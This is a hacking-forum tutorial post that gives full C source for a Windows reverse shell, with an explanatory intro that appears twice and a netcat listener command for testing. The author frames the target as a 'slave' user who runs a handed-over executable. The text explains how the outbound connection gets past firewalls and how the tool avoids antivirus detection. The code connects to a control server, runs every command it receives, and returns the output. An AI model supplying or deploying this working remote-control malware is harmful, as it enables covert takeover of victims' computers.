Source Code Tutorial - Simple Reverse Shell in C 10-09-2015, 01:21 AM
#1
Well, it looks like my first real contribution to SL. Enjoy!
Its basically just commented code. So you read down the code and comments like a tutorial.
NOTE: This currently only targets Windows, but that may change soon.
Below is a simple explanation of sockets and reverse shells for the beginners.
^ don't mind the colors, they're just to brighten things up a bit
To test it out, run netcat on localhost listening to port 509 and then execute your reverse shell program.
Its basically just commented code. So you read down the code and comments like a tutorial.
NOTE: This currently only targets Windows, but that may change soon.
Below is a simple explanation of sockets and reverse shells for the beginners.
Spoiler:
So, what exactly is a reverse shell and why do I need it? Well, to begin, a shell is, for those of you who don’t know: a program (basically) that receives a command with arguments that the shell in turn tells the computer what to do. A remote shell is one where a computer is controlled by a shell through the net on another machine.
Let’s setup our situation: we are the hacker and we have a computer user that will run any executable that we give him. We want to setup a remote shell on our “slave” so we can connect and control it, but we know that in order to set up a remote shell, we have to start a remote shell service on their machine ... but that will most likely be blocked by the firewall. Well, how do we get around that? Why of course, if the firewall blocks incoming connections but allows outgoing connections (and outgoing connection for example is: browsing the web) then we can have our exe connect back to a server waiting on our machine that will give us shell access to our slave.
There is this useful networking program called netcat. It is older and meant for Linux, but it still works well and there is even a version for Windows. For what we need, netcat can listen for connections on a specific port and it can also make connections and requests to a specified server. Netcat would work to create a reverse tcp shell, but the netcat program is unneedingly large and detected by many AVs. So, we will use netcat simply as the controller on our machine.
The building block for networking is the socket. Let’s say you have a server, the socket is like a bridge, the bridge connects your server (an island) to the mainland (the internet). If someone wants to access something on your server, they use the bridge you have put in place. You can have multiple bridges connecting your island to the mainland, each providing different services.
For Windows, to use sockets, we must use the Winsock2 library. It has a pretty simple API for what we will use, so don’t be intimidated. Our reverse shell program will work like the simple diagram below:
Let’s setup our situation: we are the hacker and we have a computer user that will run any executable that we give him. We want to setup a remote shell on our “slave” so we can connect and control it, but we know that in order to set up a remote shell, we have to start a remote shell service on their machine ... but that will most likely be blocked by the firewall. Well, how do we get around that? Why of course, if the firewall blocks incoming connections but allows outgoing connections (and outgoing connection for example is: browsing the web) then we can have our exe connect back to a server waiting on our machine that will give us shell access to our slave.

There is this useful networking program called netcat. It is older and meant for Linux, but it still works well and there is even a version for Windows. For what we need, netcat can listen for connections on a specific port and it can also make connections and requests to a specified server. Netcat would work to create a reverse tcp shell, but the netcat program is unneedingly large and detected by many AVs. So, we will use netcat simply as the controller on our machine.
The building block for networking is the socket. Let’s say you have a server, the socket is like a bridge, the bridge connects your server (an island) to the mainland (the internet). If someone wants to access something on your server, they use the bridge you have put in place. You can have multiple bridges connecting your island to the mainland, each providing different services.
For Windows, to use sockets, we must use the Winsock2 library. It has a pretty simple API for what we will use, so don’t be intimidated. Our reverse shell program will work like the simple diagram below:
- create a socket
- connect our socket to the control server
- LOOP BELOW TILL DONE:
- ----------------------------------------
- process data sent to you
- execute the data in the shell
- send results back to control server
- ----------------------------------------
- close socket connection
^ don't mind the colors, they're just to brighten things up a bit

Code:
/*
Source Code Tutorial - Simple Reverse Shell in C
*/
// get all our needed libraries ready
#include <stdio.h>
#include <strings.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// simple function that returns the output file returned from executing `cmd` in the shell
FILE *execcmd(char *cmd)
{
FILE *fp = popen(cmd, "r");
return fp;
}
int s_send(s, msg)
{
return send(s, msg, strlen(msg), 0);
}
int main(int argc , char *argv[])
{
// simple constants that hold the port and address on which the control server is listening
const char HOST[] = "127.0.0.1";
const int PORT = 509;
// variables for our socket
WSADATA wsa;
SOCKET s;
// `sockaddr_in` is a struct that stores information about our control server
struct sockaddr_in server;
int recv_size;
// stuff for the command we will receive
const int CMD_SIZE = 2048;
char cmd[CMD_SIZE];
// the outputted file from the shell
FILE *out_fp = NULL;
// one line of the shell output
char out[CMD_SIZE];
// get Winsock ready for use; you don't need to understand this
printf("\nInitializing Winsock...");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
printf("Failed: %d", WSAGetLastError());
WSACleanup();
return 1;
} else {
printf("Initialized.\n");
}
// create the Winsock socket
if((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("Could not create socket: %d" , WSAGetLastError());
return 1;
}
printf("Socket created.\n");
// set the our `server` host, type, and port
server.sin_addr.s_addr = inet_addr(HOST);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
// connect to the control server
if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
{
puts("Connection error.");
return 1;
}
puts("Connected");
while(1)
{
// receive the control server's command
if((recv_size = recv(s, cmd, CMD_SIZE, 0)) == SOCKET_ERROR)
{
if(s_send(s, "Last input was not received.") < 0)
{
puts("Send failed");
return 1;
}
} else {
// add a NULL terminating character to the end of `cmd` buffer to make it a proper string (won’t print properly without it)
cmd[recv_size] = '\0';
puts(cmd);
// execute the control command in our shell
out_fp = execcmd(cmd);
// send each line from the command output to the control server
while (fgets(out, CMD_SIZE, out_fp) != NULL)
{
if(s_send(s, out) < 0)
{
puts("Send failed");
return 1;
}
}
}
pclose(out_fp);
}
return 0;
}To test it out, run netcat on localhost listening to port 509 and then execute your reverse shell program.
Code:
nc -l -p 509





![[+]](https://sinister.li/images/modern/collapse_collapsed.png)



